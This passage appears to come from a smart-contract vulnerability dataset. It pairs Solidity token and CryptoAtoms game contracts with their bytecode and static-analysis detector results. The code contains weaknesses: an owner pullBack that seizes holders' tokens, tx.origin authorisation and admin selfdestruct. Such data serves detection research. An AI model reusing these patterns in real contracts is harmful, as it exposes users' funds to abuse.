* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant public returns (uint256 balance) {
return tokenBalances[_owner];
}
function mint(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[wallet] >= tokenAmount); // checks if it has enough to sell
tokenBalances[buyer] = tokenBalances[buyer].add(tokenAmount); // adds the amount to buyer's balance
tokenBalances[wallet] = tokenBalances[wallet].sub(tokenAmount); // subtracts amount from seller's balance
Transfer(wallet, buyer, tokenAmount);
totalSupply=totalSupply.sub(tokenAmount);
}
function pullBack(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[buyer]>=tokenAmount);
tokenBalances[buyer] = tokenBalances[buyer].sub(tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
Transfer(buyer, wallet, tokenAmount);
totalSupply=totalSupply.add(tokenAmount);
}
function showMyTokenBalance(address addr) public view returns (uint tokenBalance) {
tokenBalance = tokenBalances[addr];
}
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd146102165780632ff2e9dc1461029b578063313ce567146102c657806366188463146102f157806370a082311461035657806377eefa5a146103ad5780638da5cb5b1461041a5780638fe476251461047157806395d89b41146104c8578063a9059cbb14610558578063c6c3bbe6146105bd578063d73dd6231461062a578063dd62ed3e1461068f578063f2fde38b14610706575b600080fd5b34801561010257600080fd5b5061010b610749565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b50610200610874565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bf565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610c7e565b6040518082815260200191505060405180910390f35b3480156102d257600080fd5b506102db610c85565b6040518082815260200191505060405180910390f35b3480156102fd57600080fd5b5061033c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8a565b604051808215151515815260200191505060405180910390f35b34801561036257600080fd5b50610397600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1b565b6040518082815260200191505060405180910390f35b3480156103b957600080fd5b50610418600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f64565b005b34801561042657600080fd5b5061042f6111bc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047d57600080fd5b506104b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e1565b6040518082815260200191505060405180910390f35b3480156104d457600080fd5b506104dd61122a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561051d578082015181840152602081019050610502565b50505050905090810190601f16801561054a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056457600080fd5b506105a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611263565b604051808215151515815260200191505060405180910390f35b3480156105c957600080fd5b50610628600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061144c565b005b34801561063657600080fd5b50610675600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116a4565b604051808215151515815260200191505060405180910390f35b34801561069b57600080fd5b506106f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118a0565b6040518082815260200191505060405180910390f35b34801561071257600080fd5b50610747600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611927565b005b6040805190810160405280600681526020017f7175616b6572000000000000000000000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460015403905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108fc57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561094a57600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109d557600080fd5b610a2782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7c90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610abc82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b8e82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7c90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6298968081565b601281565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d9b576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e2f565b610dae8382611a7c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fbf57600080fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561100d57600080fd5b61105f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7c90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110f481600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36111b181600154611a9590919063ffffffff16565b600181905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f515541000000000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156112b357600080fd5b61130582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061139a82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a757600080fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156114f557600080fd5b61154781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9590919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115dc81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7c90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a361169981600154611a7c90919063ffffffff16565b600181905550505050565b600061173582600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9590919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561198257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156119be57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611a8a57fe5b818303905092915050565b6000808284019050838110151515611aa957fe5b80915050929150505600a165627a7a723058201e32cedb1f238d48b37d334af5fc0219515955e317b1e0a035980bfc175590f10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,048 |
0x0b7bda8ad804cb3318ae8490b984c2883ada2154
|
pragma solidity ^0.4.19;
contract ADM312 {
address public COO;
address public CTO;
address public CFO;
address private coreAddress;
address public logicAddress;
address public superAddress;
modifier onlyAdmin() {
require(msg.sender == COO || msg.sender == CTO || msg.sender == CFO);
_;
}
modifier onlyContract() {
require(msg.sender == coreAddress || msg.sender == logicAddress || msg.sender == superAddress);
_;
}
modifier onlyContractAdmin() {
require(msg.sender == coreAddress || msg.sender == logicAddress || msg.sender == superAddress || msg.sender == COO || msg.sender == CTO || msg.sender == CFO);
_;
}
function transferAdmin(address _newAdminAddress1, address _newAdminAddress2) public onlyAdmin {
if(msg.sender == COO)
{
CTO = _newAdminAddress1;
CFO = _newAdminAddress2;
}
if(msg.sender == CTO)
{
COO = _newAdminAddress1;
CFO = _newAdminAddress2;
}
if(msg.sender == CFO)
{
COO = _newAdminAddress1;
CTO = _newAdminAddress2;
}
}
function transferContract(address _newCoreAddress, address _newLogicAddress, address _newSuperAddress) external onlyAdmin {
coreAddress = _newCoreAddress;
logicAddress = _newLogicAddress;
superAddress = _newSuperAddress;
SetCoreInterface(_newLogicAddress).setCoreContract(_newCoreAddress);
SetCoreInterface(_newSuperAddress).setCoreContract(_newCoreAddress);
}
}
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
contract SetCoreInterface {
function setCoreContract(address _neWCoreAddress) external;
}
contract CaData is ADM312, ERC721 {
function CaData() public {
COO = msg.sender;
CTO = msg.sender;
CFO = msg.sender;
createCustomAtom(0,0,4,0,0,0,0);
}
function kill() external
{
require(msg.sender == COO);
selfdestruct(msg.sender);
}
function() public payable{}
uint public randNonce = 0;
struct Atom
{
uint64 dna;
uint8 gen;
uint8 lev;
uint8 cool;
uint32 sons;
uint64 fath;
uint64 moth;
uint128 isRent;
uint128 isBuy;
uint32 isReady;
}
Atom[] public atoms;
mapping (uint64 => bool) public dnaExist;
mapping (address => bool) public bonusReceived;
mapping (address => uint) public ownerAtomsCount;
mapping (uint => address) public atomOwner;
event NewWithdraw(address sender, uint balance);
//ADMIN
function createCustomAtom(uint64 _dna, uint8 _gen, uint8 _lev, uint8 _cool, uint128 _isRent, uint128 _isBuy, uint32 _isReady) public onlyAdmin {
require(dnaExist[_dna]==false && _cool+_lev>=4);
Atom memory newAtom = Atom(_dna, _gen, _lev, _cool, 0, 2**50, 2**50, _isRent, _isBuy, _isReady);
uint id = atoms.push(newAtom) - 1;
atomOwner[id] = msg.sender;
ownerAtomsCount[msg.sender]++;
dnaExist[_dna] = true;
}
function withdrawBalance() public payable onlyAdmin {
NewWithdraw(msg.sender, address(this).balance);
CFO.transfer(address(this).balance);
}
//MAPPING_SETTERS
function incRandNonce() external onlyContract {
randNonce++;
}
function setDnaExist(uint64 _dna, bool _newDnaLocking) external onlyContractAdmin {
dnaExist[_dna] = _newDnaLocking;
}
function setBonusReceived(address _add, bool _newBonusLocking) external onlyContractAdmin {
bonusReceived[_add] = _newBonusLocking;
}
function setOwnerAtomsCount(address _owner, uint _newCount) external onlyContract {
ownerAtomsCount[_owner] = _newCount;
}
function setAtomOwner(uint _atomId, address _owner) external onlyContract {
atomOwner[_atomId] = _owner;
}
//ATOM_SETTERS
function pushAtom(uint64 _dna, uint8 _gen, uint8 _lev, uint8 _cool, uint32 _sons, uint64 _fathId, uint64 _mothId, uint128 _isRent, uint128 _isBuy, uint32 _isReady) external onlyContract returns (uint id) {
Atom memory newAtom = Atom(_dna, _gen, _lev, _cool, _sons, _fathId, _mothId, _isRent, _isBuy, _isReady);
id = atoms.push(newAtom) -1;
}
function setAtomDna(uint _atomId, uint64 _dna) external onlyAdmin {
atoms[_atomId].dna = _dna;
}
function setAtomGen(uint _atomId, uint8 _gen) external onlyAdmin {
atoms[_atomId].gen = _gen;
}
function setAtomLev(uint _atomId, uint8 _lev) external onlyContract {
atoms[_atomId].lev = _lev;
}
function setAtomCool(uint _atomId, uint8 _cool) external onlyContract {
atoms[_atomId].cool = _cool;
}
function setAtomSons(uint _atomId, uint32 _sons) external onlyContract {
atoms[_atomId].sons = _sons;
}
function setAtomFath(uint _atomId, uint64 _fath) external onlyContract {
atoms[_atomId].fath = _fath;
}
function setAtomMoth(uint _atomId, uint64 _moth) external onlyContract {
atoms[_atomId].moth = _moth;
}
function setAtomIsRent(uint _atomId, uint128 _isRent) external onlyContract {
atoms[_atomId].isRent = _isRent;
}
function setAtomIsBuy(uint _atomId, uint128 _isBuy) external onlyContract {
atoms[_atomId].isBuy = _isBuy;
}
function setAtomIsReady(uint _atomId, uint32 _isReady) external onlyContractAdmin {
atoms[_atomId].isReady = _isReady;
}
//ERC721
mapping (uint => address) tokenApprovals;
function totalSupply() public view returns (uint256 total){
return atoms.length;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerAtomsCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
return atomOwner[_tokenId];
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
atoms[_tokenId].isBuy = 0;
atoms[_tokenId].isRent = 0;
ownerAtomsCount[_to]++;
ownerAtomsCount[_from]--;
atomOwner[_tokenId] = _to;
Transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public {
require(msg.sender == atomOwner[_tokenId]);
_transfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint256 _tokenId) public {
require(msg.sender == atomOwner[_tokenId]);
tokenApprovals[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId) public {
require(tokenApprovals[_tokenId] == msg.sender);
_transfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
}
contract CaCoreInterface {
function createCombinedAtom(uint, uint) external returns (uint);
function createRandomAtom() external returns (uint);
function createTransferAtom(address , address , uint) external;
}
contract CryptoAtomsLogicV2{
address public CaDataAddress = 0x9b3554E6FC4F81531F6D43b611258bd1058ef6D5;
CaData public CaDataContract = CaData(CaDataAddress);
CaCoreInterface private CaCoreContract;
bool public pauseMode = false;
bool public bonusMode = true;
uint128 public newAtomFee = 1 finney;
uint8 public buyFeeRate = 0;
uint8[4] public levelupValues = [0,
2,
5,
10];
event NewSetRent(address sender, uint atom);
event NewSetBuy(address sender, uint atom);
event NewUnsetRent(address sender, uint atom);
event NewUnsetBuy(address sender, uint atom);
event NewAutoRentAtom(address sender, uint atom);
event NewRentAtom(address sender, uint atom, address receiver, uint amount);
event NewBuyAtom(address sender, uint atom, address receiver, uint amount);
event NewEvolveAtom(address sender, uint atom);
event NewBonusAtom(address sender, uint atom);
function() public payable{}
function kill() external
{
require(msg.sender == CaDataContract.CTO());
selfdestruct(msg.sender);
}
modifier onlyAdmin() {
require(msg.sender == CaDataContract.COO() || msg.sender == CaDataContract.CFO() || msg.sender == CaDataContract.CTO());
_;
}
modifier onlyActive() {
require(pauseMode == false);
_;
}
modifier onlyOwnerOf(uint _atomId, bool _flag) {
require((tx.origin == CaDataContract.atomOwner(_atomId)) == _flag);
_;
}
modifier onlyRenting(uint _atomId, bool _flag) {
uint128 isRent;
(,,,,,,,isRent,,) = CaDataContract.atoms(_atomId);
require((isRent > 0) == _flag);
_;
}
modifier onlyBuying(uint _atomId, bool _flag) {
uint128 isBuy;
(,,,,,,,,isBuy,) = CaDataContract.atoms(_atomId);
require((isBuy > 0) == _flag);
_;
}
modifier onlyReady(uint _atomId) {
uint32 isReady;
(,,,,,,,,,isReady) = CaDataContract.atoms(_atomId);
require(isReady <= now);
_;
}
modifier beDifferent(uint _atomId1, uint _atomId2) {
require(_atomId1 != _atomId2);
_;
}
function setCoreContract(address _neWCoreAddress) external {
require(msg.sender == CaDataAddress);
CaCoreContract = CaCoreInterface(_neWCoreAddress);
}
function setPauseMode(bool _newPauseMode) external onlyAdmin {
pauseMode = _newPauseMode;
}
function setGiftMode(bool _newBonusMode) external onlyAdmin {
bonusMode = _newBonusMode;
}
function setFee(uint128 _newFee) external onlyAdmin {
newAtomFee = _newFee;
}
function setRate(uint8 _newRate) external onlyAdmin {
buyFeeRate = _newRate;
}
function setLevelup(uint8[4] _newLevelup) external onlyAdmin {
levelupValues = _newLevelup;
}
function setIsRentByAtom(uint _atomId, uint128 _fee) external onlyActive onlyOwnerOf(_atomId,true) onlyRenting(_atomId, false) onlyReady(_atomId) {
require(_fee > 0);
CaDataContract.setAtomIsRent(_atomId,_fee);
NewSetRent(tx.origin,_atomId);
}
function setIsBuyByAtom(uint _atomId, uint128 _fee) external onlyActive onlyOwnerOf(_atomId,true) onlyBuying(_atomId, false){
require(_fee > 0);
CaDataContract.setAtomIsBuy(_atomId,_fee);
NewSetBuy(tx.origin,_atomId);
}
function unsetIsRentByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) onlyRenting(_atomId, true){
CaDataContract.setAtomIsRent(_atomId,0);
NewUnsetRent(tx.origin,_atomId);
}
function unsetIsBuyByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) onlyBuying(_atomId, true){
CaDataContract.setAtomIsBuy(_atomId,0);
NewUnsetBuy(tx.origin,_atomId);
}
function autoRentByAtom(uint _atomId, uint _ownedId) external payable onlyActive beDifferent(_atomId, _ownedId) onlyOwnerOf(_atomId, true) onlyOwnerOf(_ownedId,true) onlyReady(_atomId) onlyReady(_ownedId) {
require(newAtomFee == msg.value);
CaDataAddress.transfer(newAtomFee);
uint id = CaCoreContract.createCombinedAtom(_atomId,_ownedId);
NewAutoRentAtom(tx.origin,id);
}
function rentByAtom(uint _atomId, uint _ownedId) external payable onlyActive beDifferent(_atomId, _ownedId) onlyOwnerOf(_ownedId, true) onlyRenting(_atomId, true) onlyReady(_ownedId) {
address owner = CaDataContract.atomOwner(_atomId);
uint128 isRent;
(,,,,,,,isRent,,) = CaDataContract.atoms(_atomId);
require(isRent + newAtomFee == msg.value);
owner.transfer(isRent);
CaDataAddress.transfer(newAtomFee);
uint id = CaCoreContract.createCombinedAtom(_atomId,_ownedId);
NewRentAtom(tx.origin,id,owner,isRent);
}
function buyByAtom(uint _atomId) external payable onlyActive onlyOwnerOf(_atomId, false) onlyBuying(_atomId, true) {
address owner = CaDataContract.atomOwner(_atomId);
uint128 isBuy;
(,,,,,,,,isBuy,) = CaDataContract.atoms(_atomId);
require(isBuy == msg.value);
if(buyFeeRate>0)
{
uint128 fee = uint128(isBuy/100) * buyFeeRate;
isBuy = isBuy - fee;
CaDataAddress.transfer(fee);
}
owner.transfer(isBuy);
CaDataContract.setAtomIsBuy(_atomId,0);
CaDataContract.setAtomIsRent(_atomId,0);
CaDataContract.setOwnerAtomsCount(tx.origin,CaDataContract.ownerAtomsCount(tx.origin)+1);
CaDataContract.setOwnerAtomsCount(owner,CaDataContract.ownerAtomsCount(owner)-1);
CaDataContract.setAtomOwner(_atomId,tx.origin);
CaCoreContract.createTransferAtom(owner, tx.origin, _atomId);
NewBuyAtom(tx.origin,_atomId,owner,isBuy);
}
function evolveByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) {
uint8 lev;
uint8 cool;
uint32 sons;
(,,lev,cool,sons,,,,,) = CaDataContract.atoms(_atomId);
require(lev < 4 && sons >= levelupValues[lev]);
CaDataContract.setAtomLev(_atomId,lev+1);
CaDataContract.setAtomCool(_atomId,cool-1);
NewEvolveAtom(tx.origin,_atomId);
}
function receiveBonus() onlyActive external {
require(bonusMode == true && CaDataContract.bonusReceived(tx.origin) == false);
CaDataContract.setBonusReceived(tx.origin,true);
uint id = CaCoreContract.createRandomAtom();
NewBonusAtom(tx.origin,id);
}
}
|
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630e47c25914610135578063229b04bf1461016257806330507451146101915780633154d790146101a85780633687f24a146101d257806339e65b4614610211578063415c75931461025a57806341c0e1b51461028457806342bd09591461029b5780634a574d18146102e45780634afe2f80146103135780636432e3cd146103435780636b1b49871461039a578063703f5e8a146103cb578063b79ec02814610422578063bee4bbeb1461044f578063c62666931461047c578063d12892e4146104bf578063e47ca0cc146104ee578063eab2d37814610535578063edc4894114610564578063fa314c6714610584578063fa8ad6b9146105d3575b005b34801561014157600080fd5b5061016060048036038101908080359060200190929190505050610600565b005b34801561016e57600080fd5b50610177610abf565b604051808215151515815260200191505060405180910390f35b34801561019d57600080fd5b506101a6610ad2565b005b6101d06004803603810190808035906020019092919080359060200190929190505050610e31565b005b3480156101de57600080fd5b5061020f60048036038101908080356fffffffffffffffffffffffffffffffff16906020019092919050505061177a565b005b34801561021d57600080fd5b506102586004803603810190808035906020019092919080356fffffffffffffffffffffffffffffffff169060200190929190505050611a9c565b005b610282600480360381019080803590602001909291908035906020019092919050505061203d565b005b34801561029057600080fd5b506102996127a7565b005b3480156102a757600080fd5b506102e26004803603810190808035906020019092919080356fffffffffffffffffffffffffffffffff1690602001909291905050506128ba565b005b3480156102f057600080fd5b506102f9612ce0565b604051808215151515815260200191505060405180910390f35b34801561031f57600080fd5b50610341600480360381019080803560ff169060200190929190505050612cf3565b005b34801561034f57600080fd5b50610358612ff7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103a657600080fd5b506103af61301d565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103d757600080fd5b506103e0613030565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042e57600080fd5b5061044d60048036038101908080608001909192919290505050613055565b005b34801561045b57600080fd5b5061047a60048036038101908080359060200190929190505050613350565b005b34801561048857600080fd5b506104bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613744565b005b3480156104cb57600080fd5b506104ec6004803603810190808035151590602001909291905050506137e3565b005b3480156104fa57600080fd5b5061051960048036038101908080359060200190929190505050613ae6565b604051808260ff1660ff16815260200191505060405180910390f35b34801561054157600080fd5b50610562600480360381019080803515159060200190929190505050613b0f565b005b61058260048036038101908080359060200190929190505050613e12565b005b34801561059057600080fd5b50610599614c31565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105df57600080fd5b506105fe60048036038101908080359060200190929190505050614c53565b005b6000806000801515600260149054906101000a900460ff16151514151561062657600080fd5b836001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1580156106bd57600080fd5b505af11580156106d1573d6000803e3d6000fd5b505050506040513d60208110156106e757600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614151514151561073457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e876040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b1580156107c657600080fd5b505af11580156107da573d6000803e3d6000fd5b505050506040513d6101408110156107f157600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050509091929394959697985090919293949596975090919293509091925090915090505080955081965082975050505060048560ff161080156108cd575060048560ff166004811015156108aa57fe5b602091828204019190069054906101000a900460ff1660ff168363ffffffff1610155b15156108d857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632630d97d87600188016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff16815260200